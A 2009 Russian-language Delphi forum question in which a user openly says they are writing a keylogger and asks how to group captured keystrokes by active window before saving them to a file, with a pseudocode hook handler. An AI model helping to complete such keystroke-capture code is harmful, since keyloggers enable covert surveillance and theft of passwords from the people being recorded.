Тема: WinApi
Показать сообщение отдельно
  #1  
Старый 14.05.2009, 15:30
Romix Romix вне форума
Начинающий
 
Регистрация: 10.02.2008
Сообщения: 136
Версия Delphi: XE2
Репутация: 41
Вопрос WinApi

Здраствуйте... Сразу честно скажу, делаю кейлоггер...И вот проблема...Мне нужно что бы клавиши записывались в строку если например все пишеться в NOTEPAD1... И если было переключенно на например NOTEPAD2... То создавалась отдельная строка для NOTEPAD2... Вот пример...

Код:
procedure TMainForm.WM_READHOOK(var Message: TMessage);
var
S: String;
begin
if (открыто какое нить окно) then
begin
S:=S + GetCharFromVKey(Message.WParam)
end
else
(открылось другое окно)
То все записываеться в файл что было в переменной S;
end;
Я не очень понятно обьяснил но все же... Заранее спасибо!...
Ответить с цитированием